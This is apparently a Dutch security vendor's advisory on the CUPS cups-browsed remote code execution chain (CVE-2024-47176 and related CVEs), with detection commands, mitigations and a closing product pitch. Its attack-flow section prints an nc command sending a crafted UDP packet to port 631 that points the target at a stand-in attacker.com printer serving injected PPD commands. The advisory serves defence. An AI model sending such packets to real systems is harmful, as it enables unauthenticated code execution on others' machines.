剣 KENSAI

CVE-2024-47176: CUPS Linux RCE — 300.000 Aan Internet Blootgestelde Systemen

oktober 2024 9 min leestijd beveiliging

Kort samengevat: Een keten van vier CUPS-kwetsbaarheden (CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177) maakt niet-geauthenticeerde remote code execution mogelijk op Linux-systemen die cups-browsed draaien. Bij openbaarmaking waren meer dan 300.000 systemen aan internet blootgesteld. Treft Ubuntu, Debian, Red Hat, Fedora en de meeste Linux-distributies standaard.

KenmerkWaarde
Primaire CVECVE-2024-47176
Gerelateerde CVE'sCVE-2024-47076, -47175, -47177
CVSS-vectorAV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
CWECWE-20: Improper Input Validation
Gepubliceerd26 september 2024
ExploitatiePublieke PoC — opportunistische scans waargenomen

CVSS 9.9 — KRITIEK

Wat is CVE-2024-47176?

CUPS (Common Unix Printing System) is de standaard afdrukinfrastructuur op Linux en macOS. De daemon cups-browsed luistert op UDP-poort 631 naar printeraankondigingen op het netwerk. CVE-2024-47176 is het toegangspunt in een keten van vier kwetsbaarheden: cups-browsed accepteert UDP-pakketten van elke bron, inclusief internet, zonder authenticatie.

Door een geprepareerd UDP-pakket naar poort 631 te sturen, kan een aanvaller ervoor zorgen dat het systeem van het slachtoffer terugverbindt met een door de aanvaller gecontroleerde "printer". Deze kwaadaardige printer levert een geprepareerd PPD-bestand (PostScript Printer Description) met ingesloten commando's. Wanneer het slachtoffer iets print, worden die commando's op hun systeem uitgevoerd.

De volledige aanvalsketen

CVEComponentBeschrijving
CVE-2024-47176cups-browsedBindt aan UDP 0.0.0.0:631, accepteert pakketten van elk IP
CVE-2024-47076libcupsfiltersIPP-attribuutwaarden niet gesaneerd bij het aanmaken van PPD-bestanden
CVE-2024-47175libppdPPD-bestandsgeneratie saneert IPP-attributen niet
CVE-2024-47177cups-filtersFoomaticRIPCommandLine staat willekeurige commando-uitvoering toe

Aanvalsverloop

# Step 1: Attacker sends UDP packet to target:631
echo "0 3 http://attacker.com:8631/printers/evil" | nc -u -w1 target.com 631

# Step 2: cups-browsed fetches IPP attributes from attacker's server
# Attacker's server returns malicious printer attributes

# Step 3: libcupsfilters/libppd creates PPD with unsanitized attacker data
# PPD contains: *cupsFilter: "application/vnd.cups-pdf 0 [attacker-cmd]"

# Step 4: Next time any user prints (or admin triggers test print):
# FoomaticRIP executes the command from the PPD
# Command runs as the lp user (often has significant filesystem access)
⚠ Geen gebruikersinteractie na installatie

De aanvaller hoeft slechts één UDP-pakket te sturen om de kwaadaardige printer in te stellen. Exploitatie wordt vervolgens getriggerd zodra een gebruiker op het systeem probeert te printen — inclusief routinematige printopdrachten die pas uren of dagen later plaatsvinden. Op servers zou een aanvaller exploitatie ook op afstand kunnen triggeren door een printopdracht naar de nieuw geïnstalleerde kwaadaardige printer te sturen.

Omvang van de impact

Op het moment van openbaarmaking identificeerden Shodan- en Censys-scans ongeveer 300.000 aan internet blootgestelde systemen met een open UDP-poort 631. De kwetsbaarheid treft vrijwel elke grote Linux-distributie die cups-browsed meelevert:

macOS is niet getroffen omdat het zijn eigen afdrukstack gebruikt. macOS gebruikt CUPS echter ook intern, dus bepaalde configuraties kunnen door gerelateerde problemen worden getroffen.

Detectie

# Check if cups-browsed is running
systemctl status cups-browsed
ps aux | grep cups-browsed

# Check if UDP 631 is exposed
ss -ulnp | grep 631
netstat -ulnp | grep 631

# Check for unexpected printer additions
lpstat -a
cat /etc/cups/printers.conf | grep -i "deviceuri\|remote"

# Look for suspicious PPD files
find /etc/cups /var/cache/cups -name "*.ppd" -newer /etc/cups/cups-browsed.conf

# Check logs for unexpected IPP connections
grep "cups-browsed" /var/log/cups/error_log | grep "Adding\|New printer"

Mitigatie

  1. Stop en schakel cups-browsed uit indien niet nodig:
    sudo systemctl stop cups-browsed
    sudo systemctl disable cups-browsed
  2. Pas patches toe: cups-browsed 2.0.1 en cups-filters 2.0.1 verhelpen de kwetsbaarheden. Ubuntu, Debian en Red Hat brachten binnen dagen na openbaarmaking patches uit.
  3. Blokkeer UDP-poort 631 bij de firewall: voorkom dat externe pakketten cups-browsed bereiken
    sudo iptables -A INPUT -p udp --dport 631 -j DROP
    sudo ufw deny 631/udp
  4. Verwijder FoomaticRIP indien niet nodig: de laatste RCE-stap vereist foomatic-rip. Verwijdering ervan (als Foomatic-printers niet worden gebruikt) elimineert de mogelijkheid tot code-uitvoering.
  5. Audit printerconfiguraties: verwijder onherkende printervermeldingen uit /etc/cups/printers.conf

💡 De meeste servers zijn niet kwetsbaar: serverinstallaties van Linux installeren cups-browsed doorgaans niet standaard. Het hogere risico ligt bij Linux-werkstations en ontwikkelmachines. Elk Linux-systeem dat is geconfigureerd voor printen moet echter worden geauditeerd.

KENSAI-detectiemogelijkheden

Hoeveel Linux-systemen in uw omgeving hebben cups-browsed blootgesteld?

KENSAI scant uw interne en externe aanvalsoppervlak op CUPS-kwetsbaarheden bij alle Linux-systemen. Krijg in enkele minuten het volledige beeld.

Vind CUPS-blootstelling